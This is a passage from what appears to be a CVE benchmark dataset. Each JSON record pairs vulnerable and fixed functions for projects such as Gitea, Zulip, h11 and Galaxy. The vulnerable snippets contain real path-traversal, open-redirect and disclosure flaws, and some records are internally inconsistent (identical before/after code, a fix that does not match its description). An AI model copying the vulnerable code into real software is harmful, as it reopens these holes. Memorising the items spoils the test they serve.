webinterface.midiports.connectall()\n        return jsonify(success=True, reload_ports=True)\n\n    if setting_name == \"disconnect_ports\":\n        call(\"sudo aconnect -x\", shell=True)\n        return jsonify(success=True, reload_ports=True)\n\n    if setting_name == \"restart_rtp\":\n        call(\"sudo systemctl restart rtpmidid\", shell=True)\n\n    if setting_name == \"start_recording\":\n        webinterface.saving.start_recording()\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"cancel_recording\":\n        webinterface.saving.cancel_recording()\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"save_recording\":\n        now = datetime.datetime.now()\n        current_date = now.strftime(\"%Y-%m-%d %H:%M\")\n        webinterface.saving.save(current_date)\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"change_song_name\":\n        if os.path.exists(\"Songs/\" + second_value):\n            return jsonify(success=False, reload_songs=True, error=second_value + \" already exists\")\n\n        if \"_main\" in value:\n            search_name = value.replace(\"_main.mid\", \"\")\n            for fname in os.listdir('Songs'):\n                if search_name in fname:\n                    new_name = second_value.replace(\".mid\", \"\") + fname.replace(search_name, \"\")\n                    os.rename('Songs/' + fname, 'Songs/' + new_name)\n        else:\n            os.rename('Songs/' + value, 'Songs/' + second_value)\n            os.rename('Songs/cache/' + value + \".p\", 'Songs/cache/' + second_value + \".p\")\n\n\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"remove_song\":\n        if \"_main\" in value:\n            name_no_suffix = value.replace(\"_main.mid\", \"\")\n            for fname in os.listdir('Songs'):\n                if name_no_suffix in fname:\n                    os.remove(\"Songs/\" + fname)\n        else:\n            os.remove(\"Songs/\" + value)\n\n            file_types = [\".musicxml\", \".xml\", \".mxl\", \".abc\"]\n            for file_type in file_types:\n                try:\n                    os.remove(\"Songs/\" + value.replace(\".mid\", file_type))\n                except:\n                    pass\n\n            try:\n                os.remove(\"Songs/cache/\" + value + \".p\")\n            except:\n                print(\"No cache file for \" + value)\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"download_song\":\n        if \"_main\" in value:\n            zipObj = ZipFile(\"Songs/\" + value.replace(\".mid\", \"\") + \".zip\", 'w')\n            name_no_suffix = value.replace(\"_main.mid\", \"\")\n            songs_count = 0\n            for fname in os.listdir('Songs'):\n                if name_no_suffix in fname and \".zip\" not in fname:\n                    songs_count += 1\n                    zipObj.write(\"Songs/\" + fname)\n            zipObj.close()\n            if songs_count == 1:\n                os.remove(\"Songs/\" + value.replace(\".mid\", \"\") + \".zip\")\n                return send_file(\"../Songs/\" + value, mimetype='application/x-csv', attachment_filename=value,\n                                 as_attachment=True)\n            else:\n                return send_file(\"../Songs/\" + value.replace(\".mid\", \"\") + \".zip\", mimetype='application/x-csv',\n                                 attachment_filename=value.replace(\".mid\", \"\") + \".zip\", as_attachment=True)\n        else:\n            return send_file(safe_join(\"../Songs/\" + value), mimetype='application/x-csv', attachment_filename=value,\n                             as_attachment=True)\n\n    if setting_name == \"download_sheet_music\":\n        file_types = [\".musicxml\", \".xml\", \".mxl\", \".abc\"]\n        i = 0\n        while i < len(file_types):\n            try:\n                new_name = value.replace(\".mid\", file_types[i])\n                return send_file(\"../Songs/\" + new_name, mimetype='application/x-csv', attachment_filename=new_name,\n                                 as_attachment=True)\n            except:\n                i += 1\n        webinterface.learning.convert_midi_to_abc(value)\n        try:\n            return send_file(safe_join(\"../Songs/\", value.replace(\".mid\", \".abc\")), mimetype='application/x-csv',\n                             attachment_filename=value.replace(\".mid\", \".abc\"), as_attachment=True)\n        except:\n            print(\"Converting failed\")\n\n\n    if setting_name == \"start_midi_play\":\n        webinterface.saving.t = threading.Thread(target=play_midi, args=(value, webinterface.midiports,\n                                                                         webinterface.saving, webinterface.menu,\n                                                                         webinterface.ledsettings,\n                                                                         webinterface.ledstrip))\n        webinterface.saving.t.start()\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"stop_midi_play\":\n        webinterface.saving.is_playing_midi.clear()\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n        return jsonify(success=True, reload_songs=True)\n\n    if setting_name == \"learning_load_song\":\n        webinterface.learning.t = threading.Thread(target=webinterface.learning.load_midi, args=(value,))\n        webinterface.learning.t.start()\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"start_learning_song\":\n        webinterface.learning.t = threading.Thread(target=webinterface.learning.learn_midi)\n        webinterface.learning.t.start()\n\n        return jsonify(success=True)\n\n    if setting_name == \"stop_learning_song\":\n        webinterface.learning.is_started_midi = False\n        fastColorWipe(webinterface.ledstrip.strip, True, webinterface.ledsettings)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_practice\":\n        value = int(value)\n        webinterface.learning.practice = value\n        webinterface.learning.practice = clamp(webinterface.learning.practice, 0, len(webinterface.learning.practiceList) - 1)\n        webinterface.usersettings.change_setting_value(\"practice\", webinterface.learning.practice)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_tempo\":\n        value = int(value)\n        webinterface.learning.set_tempo = value\n        webinterface.learning.set_tempo = clamp(webinterface.learning.set_tempo, 10, 200)\n        webinterface.usersettings.change_setting_value(\"set_tempo\", webinterface.learning.set_tempo)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_hands\":\n        value = int(value)\n        webinterface.learning.hands = value\n        webinterface.learning.hands = clamp(webinterface.learning.hands, 0, len(webinterface.learning.handsList) - 1)\n        webinterface.usersettings.change_setting_value(\"hands\", webinterface.learning.hands)\n\n        return jsonify(success=True)\n\n    if setting_name == \"change_mute_hand\":\n        value = int(value)\n        webinterface.learning.mute_hand = value\n        webinterface.learning.mute_hand = clamp(webinterface.learning.mute_hand, 0, len(webinterface.learning.mute_handList) - 1)\n        webinterface.usersettings.change_setting_value(\"mute_hand\", webinterface.learning.mute_hand)\n\n        return jsonify(success=True)\n\n    if setting_name == \"learning_start_point\":\n        value = int(value)\n        webinterface.learning.start_point = value\n        webinterface.learning.start_point = clamp(webinterface.learning.start_point, 0, webinterface.learning.end_point - 1)\n        webinterface.usersettings.change_setting_value(\"start_point\", webinterface.learning.start_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True)\n\n    if setting_name == \"learning_end_point\":\n        value = int(value)\n        webinterface.learning.end_point = value\n        webinterface.learning.end_point = clamp(webinterface.learning.end_point, webinterface.learning.start_point + 1, 100)\n        webinterface.usersettings.change_setting_value(\"end_point\", webinterface.learning.end_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True)\n\n    if setting_name == \"set_current_time_as_start_point\":\n        webinterface.learning.start_point = round(float(webinterface.learning.current_idx * 100 / float(len(webinterface.learning.song_tracks))), 3)\n        webinterface.learning.start_point = clamp(webinterface.learning.start_point, 0, webinterface.learning.end_point - 1)\n        webinterface.usersettings.change_setting_value(\"start_point\", webinterface.learning.start_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"set_current_time_as_end_point\":\n        webinterface.learning.end_point = round(float(webinterface.learning.current_idx * 100 / float(len(webinterface.learning.song_tracks))), 3)\n        webinterface.learning.end_point = clamp(webinterface.learning.end_point, webinterface.learning.start_point + 1, 100)\n        webinterface.usersettings.change_setting_value(\"end_point\", webinterface.learning.end_point)\n        webinterface.learning.restart_learning()\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"change_handL_color\":\n        value = int(value)\n        webinterface.learning.hand_colorL += value\n        webinterface.learning.hand_colorL = clamp(webinterface.learning.hand_colorL, 0, len(webinterface.learning.hand_colorList) - 1)\n        webinterface.usersettings.change_setting_value(\"hand_colorL\", webinterface.learning.hand_colorL)\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"change_handR_color\":\n        value = int(value)\n        webinterface.learning.hand_colorR += value\n        webinterface.learning.hand_colorR = clamp(webinterface.learning.hand_colorR, 0, len(webinterface.learning.hand_colorList) - 1)\n        webinterface.usersettings.change_setting_value(\"hand_colorR\", webinterface.learning.hand_colorR)\n\n        return jsonify(success=True, reload_learning_settings=True)\n\n    if setting_name == \"change_learning_loop\":\n        value = int(value == 'true')\n        webinterface.learning.is_loop_active = value\n        webinterface.usersettings.change_setting_value(\"is_loop_active\", webinterface.learning.is_loop_active)\n\n        return jsonify(success=True)\n\n\n    return jsonify(success=True)"}], "vul_patch": "--- a/webinterface/views_api.py\n+++ b/webinterface/views_api.py\n@@ -823,7 +823,7 @@\n                 return send_file(\"../Songs/\" + value.replace(\".mid\", \"\") + \".zip\", mimetype='application/x-csv',\n                                  attachment_filename=value.replace(\".mid\", \"\") + \".zip\", as_attachment=True)\n         else:\n-            return send_file(\"../Songs/\" + value, mimetype='application/x-csv', attachment_filename=value,\n+            return send_file(safe_join(\"../Songs/\" + value), mimetype='application/x-csv', attachment_filename=value,\n                              as_attachment=True)\n \n     if setting_name == \"download_sheet_music\":\n@@ -838,7 +838,7 @@\n                 i += 1\n         webinterface.learning.convert_midi_to_abc(value)\n         try:\n-            return send_file(\"../Songs/\" + value.replace(\".mid\", \".abc\"), mimetype='application/x-csv',\n+            return send_file(safe_join(\"../Songs/\", value.replace(\".mid\", \".abc\")), mimetype='application/x-csv',\n                              attachment_filename=value.replace(\".mid\", \".abc\"), as_attachment=True)\n         except:\n             print(\"Converting failed\")\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-1058", "cve_description": "Open Redirect on login in GitHub repository go-gitea/gitea prior to 1.16.5.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/go-gitea/gitea", "patch_url": ["https://github.com/go-gitea/gitea/commit/e3d8e92bdc67562783de9a76b5b7842b68daeb48"], "programing_language": "Go", "vul_func": [{"id": "vul_go_250_1", "commit": "6fc73a84332643ffbd431f6e7fcb16942c505c04", "file_path": "modules/context/context.go", "start_line": 178, "end_line": 194, "snippet": "func (ctx *Context) RedirectToFirst(location ...string) {\n\tfor _, loc := range location {\n\t\tif len(loc) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\tu, err := url.Parse(loc)\n\t\tif err != nil || ((u.Scheme != \"\" || u.Host != \"\") && !strings.HasPrefix(strings.ToLower(loc), strings.ToLower(setting.AppURL))) {\n\t\t\tcontinue\n\t\t}\n\n\t\tctx.Redirect(loc)\n\t\treturn\n\t}\n\n\tctx.Redirect(setting.AppSubURL + \"/\")\n}"}], "fix_func": [{"id": "fix_go_250_1", "commit": "e3d8e92bdc67562783de9a76b5b7842b68daeb48", "file_path": "modules/context/context.go", "start_line": 178, "end_line": 200, "snippet": "func (ctx *Context) RedirectToFirst(location ...string) {\n\tfor _, loc := range location {\n\t\tif len(loc) == 0 {\n\t\t\tcontinue\n\t\t}\n\n\t\t// Unfortunately browsers consider a redirect Location with preceding \"//\" and \"/\\\" as meaning redirect to \"http(s)://REST_OF_PATH\"\n\t\t// Therefore we should ignore these redirect locations to prevent open redirects\n\t\tif len(loc) > 1 && loc[0] == '/' && (loc[1] == '/' || loc[1] == '\\\\') {\n\t\t\tcontinue\n\t\t}\n\n\t\tu, err := url.Parse(loc)\n\t\tif err != nil || ((u.Scheme != \"\" || u.Host != \"\") && !strings.HasPrefix(strings.ToLower(loc), strings.ToLower(setting.AppURL))) {\n\t\t\tcontinue\n\t\t}\n\n\t\tctx.Redirect(loc)\n\t\treturn\n\t}\n\n\tctx.Redirect(setting.AppSubURL + \"/\")\n}"}], "vul_patch": "--- a/modules/context/context.go\n+++ b/modules/context/context.go\n@@ -1,6 +1,12 @@\n func (ctx *Context) RedirectToFirst(location ...string) {\n \tfor _, loc := range location {\n \t\tif len(loc) == 0 {\n+\t\t\tcontinue\n+\t\t}\n+\n+\t\t// Unfortunately browsers consider a redirect Location with preceding \"//\" and \"/\\\" as meaning redirect to \"http(s)://REST_OF_PATH\"\n+\t\t// Therefore we should ignore these redirect locations to prevent open redirects\n+\t\tif len(loc) > 1 && loc[0] == '/' && (loc[1] == '/' || loc[1] == '\\\\') {\n \t\t\tcontinue\n \t\t}\n \n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2024-56136", "cve_description": "Zulip server provides an open-source team chat that helps teams stay productive and focused. Zulip Server 7.0 and above are vulnerable to an information disclose attack, where, if a Zulip server is hosting multiple organizations, an unauthenticated user can make a request and determine if an email address is in use by a user. Zulip Server 9.4 resolves the issue, as does the `main` branch of Zulip Server. Users are advised to upgrade. There are no known workarounds for this issue.", "cwe_info": {"CWE-200": {"name": "Exposure of Sensitive Information to an Unauthorized Actor", "description": "The product exposes sensitive information to an actor that is not explicitly authorized to have access to that information."}}, "repo": "https://github.com/zulip/zulip", "patch_url": ["https://github.com/zulip/zulip/commit/c6334a765b1e6d71760e4a3b32ae5b8367f2ed4d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_344_1", "commit": "ff5512e5a93ac3ecf327288b3f37e032de0aaf81", "file_path": "zerver/views/auth.py", "start_line": 989, "end_line": 1001, "snippet": "def get_api_key_fetch_authenticate_failure(return_data: dict[str, bool]) -> JsonableError:\n    if return_data.get(\"inactive_user\"):\n        return UserDeactivatedError()\n    if return_data.get(\"inactive_realm\"):\n        return RealmDeactivatedError()\n    if return_data.get(\"password_auth_disabled\"):\n        return PasswordAuthDisabledError()\n    if return_data.get(\"password_reset_needed\"):\n        return PasswordResetRequiredError()\n    if return_data.get(\"invalid_subdomain\"):\n        raise InvalidSubdomainError\n\n    return AuthenticationFailedError()"}], "fix_func": [{"id": "fix_py_344_1", "commit": "c6334a765b1e6d71760e4a3b32ae5b8367f2ed4d", "file_path": "zerver/views/auth.py", "start_line": 989, "end_line": 1004, "snippet": "def get_api_key_fetch_authenticate_failure(return_data: dict[str, bool]) -> JsonableError:\n    if return_data.get(\"inactive_user\"):\n        return UserDeactivatedError()\n    if return_data.get(\"inactive_realm\"):\n        return RealmDeactivatedError()\n    if return_data.get(\"password_auth_disabled\"):\n        return PasswordAuthDisabledError()\n    if return_data.get(\"password_reset_needed\"):\n        return PasswordResetRequiredError()\n    if return_data.get(\"invalid_subdomain\"):\n        # We must not report invalid_subdomain here; that value is intended only for informing server logs,\n        # and should never be exposed to end users, since it would leak whether there exists\n        # an account in a different organization with the same email address.\n        return AuthenticationFailedError()\n\n    return AuthenticationFailedError()"}], "vul_patch": "--- a/zerver/views/auth.py\n+++ b/zerver/views/auth.py\n@@ -8,6 +8,9 @@\n     if return_data.get(\"password_reset_needed\"):\n         return PasswordResetRequiredError()\n     if return_data.get(\"invalid_subdomain\"):\n-        raise InvalidSubdomainError\n+        # We must not report invalid_subdomain here; that value is intended only for informing server logs,\n+        # and should never be exposed to end users, since it would leak whether there exists\n+        # an account in a different organization with the same email address.\n+        return AuthenticationFailedError()\n \n     return AuthenticationFailedError()\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2025-43859", "cve_description": "h11 is a Python implementation of HTTP/1.1. Prior to version 0.16.0, a leniency in h11's parsing of line terminators in chunked-coding message bodies can lead to request smuggling vulnerabilities under certain conditions. This issue has been patched in version 0.16.0. Since exploitation requires the combination of buggy h11 with a buggy (reverse) proxy, fixing either component is sufficient to mitigate this issue.", "cwe_info": {"CWE-444": {"name": "Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')", "description": "The product acts as an intermediary HTTP agent\n         (such as a proxy or firewall) in the data flow between two\n         entities such as a client and server, but it does not\n         interpret malformed HTTP requests or responses in ways that\n         are consistent with how the messages will be processed by\n         those entities that are at the ultimate destination."}}, "repo": "https://github.com/python-hyper/h11", "patch_url": ["https://github.com/python-hyper/h11/commit/114803a29ce50116dc47951c690ad4892b1a36ed"], "programing_language": "Python", "vul_func": [{"id": "vul_py_68_1", "commit": "114803a29ce50116dc47951c690ad4892b1a36ed", "file_path": "h11/_readers.py", "start_line": 149, "end_line": 154, "snippet": "    def __init__(self) -> None:\n        self._bytes_in_chunk = 0\n        # After reading a chunk, we have to throw away the trailing \\r\\n.\n        # This tracks the bytes that we need to match and throw away.\n        self._bytes_to_discard = b\"\"\n        self._reading_trailer = False"}, {"id": "vul_py_68_2", "commit": "114803a29ce50116dc47951c690ad4892b1a36ed", "file_path": "h11/_readers.py", "start_line": 156, "end_line": 204, "snippet": "    def __call__(self, buf: ReceiveBuffer) -> Union[Data, EndOfMessage, None]:\n        if self._reading_trailer:\n            lines = buf.maybe_extract_lines()\n            if lines is None:\n                return None\n            return EndOfMessage(headers=list(_decode_header_lines(lines)))\n        if self._bytes_to_discard:\n            data = buf.maybe_extract_at_most(len(self._bytes_to_discard))\n            if data is None:\n                return None\n            if data != self._bytes_to_discard[:len(data)]:\n                raise LocalProtocolError(\n                    f\"malformed chunk footer: {data!r} (expected {self._bytes_to_discard!r})\"\n                )\n            self._bytes_to_discard = self._bytes_to_discard[len(data):]\n            if self._bytes_to_discard:\n                return None\n            # else, fall through and read some more\n        assert self._bytes_to_discard == b\"\"\n        if self._bytes_in_chunk == 0:\n            # We need to refill our chunk count\n            chunk_header = buf.maybe_extract_next_line()\n            if chunk_header is None:\n                return None\n            matches = validate(\n                chunk_header_re,\n                chunk_header,\n                \"illegal chunk header: {!r}\",\n                chunk_header,\n            )\n            # XX FIXME: we discard chunk extensions. Does anyone care?\n            self._bytes_in_chunk = int(matches[\"chunk_size\"], base=16)\n            if self._bytes_in_chunk == 0:\n                self._reading_trailer = True\n                return self(buf)\n            chunk_start = True\n        else:\n            chunk_start = False\n        assert self._bytes_in_chunk > 0\n        data = buf.maybe_extract_at_most(self._bytes_in_chunk)\n        if data is None:\n            return None\n        self._bytes_in_chunk -= len(data)\n        if self._bytes_in_chunk == 0:\n            self._bytes_to_discard = b\"\\r\\n\"\n            chunk_end = True\n        else:\n            chunk_end = False\n        return Data(data=data, chunk_start=chunk_start, chunk_end=chunk_end)"}], "fix_func": [{"id": "fix_py_68_1", "commit": "114803a29ce50116dc47951c690ad4892b1a36ed", "file_path": "h11/_readers.py", "start_line": 149, "end_line": 154, "snippet": "    def __init__(self) -> None:\n        self._bytes_in_chunk = 0\n        # After reading a chunk, we have to throw away the trailing \\r\\n.\n        # This tracks the bytes that we need to match and throw away.\n        self._bytes_to_discard = b\"\"\n        self._reading_trailer = False"}, {"id": "fix_py_68_2", "commit": "114803a29ce50116dc47951c690ad4892b1a36ed", "file_path": "h11/_readers.py", "start_line": 156, "end_line": 204, "snippet": "    def __call__(self, buf: ReceiveBuffer) -> Union[Data, EndOfMessage, None]:\n        if self._reading_trailer:\n            lines = buf.maybe_extract_lines()\n            if lines is None:\n                return None\n            return EndOfMessage(headers=list(_decode_header_lines(lines)))\n        if self._bytes_to_discard:\n            data = buf.maybe_extract_at_most(len(self._bytes_to_discard))\n            if data is None:\n                return None\n            if data != self._bytes_to_discard[:len(data)]:\n                raise LocalProtocolError(\n                    f\"malformed chunk footer: {data!r} (expected {self._bytes_to_discard!r})\"\n                )\n            self._bytes_to_discard = self._bytes_to_discard[len(data):]\n            if self._bytes_to_discard:\n                return None\n            # else, fall through and read some more\n        assert self._bytes_to_discard == b\"\"\n        if self._bytes_in_chunk == 0:\n            # We need to refill our chunk count\n            chunk_header = buf.maybe_extract_next_line()\n            if chunk_header is None:\n                return None\n            matches = validate(\n                chunk_header_re,\n                chunk_header,\n                \"illegal chunk header: {!r}\",\n                chunk_header,\n            )\n            # XX FIXME: we discard chunk extensions. Does anyone care?\n            self._bytes_in_chunk = int(matches[\"chunk_size\"], base=16)\n            if self._bytes_in_chunk == 0:\n                self._reading_trailer = True\n                return self(buf)\n            chunk_start = True\n        else:\n            chunk_start = False\n        assert self._bytes_in_chunk > 0\n        data = buf.maybe_extract_at_most(self._bytes_in_chunk)\n        if data is None:\n            return None\n        self._bytes_in_chunk -= len(data)\n        if self._bytes_in_chunk == 0:\n            self._bytes_to_discard = b\"\\r\\n\"\n            chunk_end = True\n        else:\n            chunk_end = False\n        return Data(data=data, chunk_start=chunk_start, chunk_end=chunk_end)"}], "vul_patch": "\n\n\n\n", "poc_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-43859:latest\n# bash /workspace/fix-run.sh\nset -e\n\ncd /workspace/h11\ngit apply --whitespace=nowarn /workspace/test.patch /workspace/fix.patch\n/workspace/PoC_env/CVE-2025-43859/bin/python -m pytest h11/tests/test_io.py -k \"t_body_reader or test_ChunkedReader or test_ContentLengthWriter\"\n", "unit_test_cmd": "#!/bin/bash\n# From ghcr.io/anonymous2578-data/cve-2025-43859:latest\n# bash /workspace/unit_test.sh\nset -e\n\ncd /workspace/h11\ngit apply --whitespace=nowarn /workspace/test.patch\n/workspace/PoC_env/CVE-2025-43859/bin/python -m pytest h11/tests/test_io.py -k \"not test_ChunkedReader\" -p no:warning --disable-warnings\n"}
{"cve_id": "CVE-2022-4720", "cve_description": "Open Redirect in GitHub repository ikus060/rdiffweb prior to 2.5.5.", "cwe_info": {"CWE-601": {"name": "URL Redirection to Untrusted Site ('Open Redirect')", "description": "The web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a redirect."}}, "repo": "https://github.com/ikus060/rdiffweb", "patch_url": ["https://github.com/ikus060/rdiffweb/commit/6afaae56a29536f0118b3380d296c416aa6d078d"], "programing_language": "Python", "vul_func": [{"id": "vul_py_147_1", "commit": "b0c1422", "file_path": "rdiffweb/core/notification.py", "start_line": 66, "end_line": 78, "snippet": "    def access_token_added(self, userobj, name):\n        if not self.send_changed:\n            return\n\n        if not userobj.email:\n            logger.info(\"can't sent mail to user [%s] without an email\", userobj.username)\n            return\n\n        # Send a mail notification\n        body = self.app.templates.compile_template(\n            \"access_token_added.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj, 'name': name}\n        )\n        self.bus.publish('queue_mail', to=userobj.email, subject=_(\"A new access token has been created\"), message=body)"}, {"id": "vul_py_147_2", "commit": "b0c1422", "file_path": "rdiffweb/core/notification.py", "start_line": 111, "end_line": 123, "snippet": "    def user_password_changed(self, userobj):\n        if not self.send_changed:\n            return\n\n        if not userobj.email:\n            logger.info(\"can't sent mail to user [%s] without an email\", userobj.username)\n            return\n\n        # If the email attributes was changed, send a mail notification.\n        body = self.app.templates.compile_template(\n            \"password_changed.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj}\n        )\n        self.bus.publish('queue_mail', to=userobj.email, subject=_(\"Password changed\"), message=body)"}], "fix_func": [{"id": "fix_py_147_1", "commit": "6afaae5", "file_path": "rdiffweb/core/notification.py", "start_line": 66, "end_line": 78, "snippet": "    def access_token_added(self, userobj, name):\n        if not self.send_changed:\n            return\n\n        if not userobj.email:\n            logger.info(\"can't sent mail to user [%s] without an email\", userobj.username)\n            return\n\n        # Send a mail notification\n        body = self.app.templates.compile_template(\n            \"email_access_token_added.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj, 'name': name}\n        )\n        self.bus.publish('queue_mail', to=userobj.email, subject=_(\"A new access token has been created\"), message=body)"}, {"id": "fix_py_147_2", "commit": "6afaae5", "file_path": "rdiffweb/core/notification.py", "start_line": 111, "end_line": 123, "snippet": "    def user_password_changed(self, userobj):\n        if not self.send_changed:\n            return\n\n        if not userobj.email:\n            logger.info(\"can't sent mail to user [%s] without an email\", userobj.username)\n            return\n\n        # If the email attributes was changed, send a mail notification.\n        body = self.app.templates.compile_template(\n            \"email_password_changed.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj}\n        )\n        self.bus.publish('queue_mail', to=userobj.email, subject=_(\"Password changed\"), message=body)"}], "vul_patch": "--- a/rdiffweb/core/notification.py\n+++ b/rdiffweb/core/notification.py\n@@ -8,6 +8,6 @@\n \n         # Send a mail notification\n         body = self.app.templates.compile_template(\n-            \"access_token_added.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj, 'name': name}\n+            \"email_access_token_added.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj, 'name': name}\n         )\n         self.bus.publish('queue_mail', to=userobj.email, subject=_(\"A new access token has been created\"), message=body)\n\n--- a/rdiffweb/core/notification.py\n+++ b/rdiffweb/core/notification.py\n@@ -8,6 +8,6 @@\n \n         # If the email attributes was changed, send a mail notification.\n         body = self.app.templates.compile_template(\n-            \"password_changed.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj}\n+            \"email_password_changed.html\", **{\"header_name\": self.app.cfg.header_name, 'user': userobj}\n         )\n         self.bus.publish('queue_mail', to=userobj.email, subject=_(\"Password changed\"), message=body)\n\n", "poc_patch": null, "unit_test_cmd": null}
{"cve_id": "CVE-2022-23470", "cve_description": "Galaxy is an open-source platform for data analysis. An arbitrary file read exists in Galaxy 22.01 and Galaxy 22.05 due to the switch to Gunicorn, which can be used to read any file accessible to the operating system user under which Galaxy is running. This vulnerability affects Galaxy 22.01 and higher, after the switch to gunicorn, which serve static contents directly.  Additionally, the vulnerability is mitigated when using Nginx or Apache to serve /static/* contents, instead of Galaxy's internal middleware. This issue has been patched in commit `e5e6bda4f` and will be included in future releases. Users are advised to manually patch their installations. There are no known workarounds for this vulnerability.", "cwe_info": {"CWE-22": {"name": "Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal')", "description": "The product uses external input to construct a pathname that is intended to identify a file or directory that is located underneath a restricted parent directory, but the product does not properly neutralize special elements within the pathname that can cause the pathname to resolve to a location that is outside of the restricted directory."}}, "repo": "https://github.com/galaxyproject/galaxy", "patch_url": ["https://github.com/galaxyproject/galaxy/commit/e5e6bda4f014f807ca77ee0cf6af777a55918346"], "programing_language": "Python", "vul_func": [{"id": "vul_py_108_1", "commit": "7136d72", "file_path": "lib/galaxy/web/framework/middleware/static.py", "start_line": 17, "end_line": 60, "snippet": "    def __call__(self, environ, start_response):\n        path_info = environ.get('PATH_INFO', '')\n        if not path_info:\n            # See if this is a static file hackishly mapped.\n            if os.path.exists(self.directory) and os.path.isfile(self.directory):\n                app = FileApp(self.directory)\n                if self.cache_seconds:\n                    app.cache_control(max_age=int(self.cache_seconds))\n                return app(environ, start_response)\n            return self.add_slash(environ, start_response)\n        if path_info == '/':\n            # @@: This should obviously be configurable\n            filename = 'index.html'\n        else:\n            filename = request.path_info_pop(environ)\n\n        directory = self.directory\n        host = environ.get('HTTP_HOST')\n        if self.directory_per_host and host:\n            for host_key, host_val in self.directory_per_host.items():\n                if host_key in host:\n                    directory = host_val\n                    break\n\n        full = os.path.join(directory, filename)\n        if not os.path.exists(full):\n            return self.not_found(environ, start_response)\n        if os.path.isdir(full):\n            # @@: Cache?\n            return self.__class__(full)(environ, start_response)\n        if environ.get('PATH_INFO') and environ.get('PATH_INFO') != '/':\n            return self.error_extra_path(environ, start_response)\n        if_none_match = environ.get('HTTP_IF_NONE_MATCH')\n        if if_none_match:\n            mytime = os.stat(full).st_mtime\n            if str(mytime) == if_none_match:\n                headers: List[Tuple[str, str]] = []\n                ETAG.update(headers, mytime)\n                start_response('304 Not Modified', headers)\n                return ['']  # empty body\n        app = FileApp(full)\n        if self.cache_seconds:\n            app.cache_control(max_age=int(self.cache_seconds))\n        return app(environ, start_response)"}], "fix_func": [{"id": "fix_py_108_1", "commit": "e5e6bda", "file_path": "lib/galaxy/web/framework/middleware/static.py", "start_line": 17, "end_line": 64, "snippet": "    def __call__(self, environ, start_response):\n        path_info = environ.get('PATH_INFO', '')\n        if not path_info:\n            # See if this is a static file hackishly mapped.\n            if os.path.exists(self.directory) and os.path.isfile(self.directory):\n                app = FileApp(self.directory)\n                if self.cache_seconds:\n                    app.cache_control(max_age=int(self.cache_seconds))\n                return app(environ, start_response)\n            return self.add_slash(environ, start_response)\n        if path_info == '/':\n            # @@: This should obviously be configurable\n            filename = 'index.html'\n        else:\n            filename = request.path_info_pop(environ)\n\n        directory = self.directory\n        host = environ.get('HTTP_HOST')\n        if self.directory_per_host and host:\n            for host_key, host_val in self.directory_per_host.items():\n                if host_key in host:\n                    directory = host_val\n                    break\n\n        full = self.normpath(os.path.join(directory, filename))\n        if not full.startswith(directory):\n            # Out of bounds\n            return self.not_found(environ, start_response)\n\n        if not os.path.exists(full):\n            return self.not_found(environ, start_response)\n        if os.path.isdir(full):\n            # @@: Cache?\n            return self.__class__(full)(environ, start_response)\n        if environ.get('PATH_INFO') and environ.get('PATH_INFO') != '/':\n            return self.error_extra_path(environ, start_response)\n        if_none_match = environ.get('HTTP_IF_NONE_MATCH')\n        if if_none_match:\n            mytime = os.stat(full).st_mtime\n            if str(mytime) == if_none_match:\n                headers: List[Tuple[str, str]] = []\n                ETAG.update(headers, mytime)\n                start_response('304 Not Modified', headers)\n                return ['']  # empty body\n        app = FileApp(full)\n        if self.cache_seconds:\n            app.cache_control(max_age=int(self.cache_seconds))\n        return app(environ, start_response)"}], "vul_patch": "--- a/lib/galaxy/web/framework/middleware/static.py\n+++ b/lib/galaxy/web/framework/middleware/static.py\n@@ -22,7 +22,11 @@\n                     directory = host_val\n                     break\n \n-        full = os.path.join(directory, filename)\n+        full = self.normpath(os.path.join(directory, filename))\n+        if not full.startswith(directory):\n+            # Out of bounds\n+            return self.not_found(environ, start_response)\n+\n         if not os.path.exists(full):\n             return self.not_found(environ, start_response)\n         if os.path.isdir(full):\n\n", "poc_patch": null, "unit_test_cmd": null}
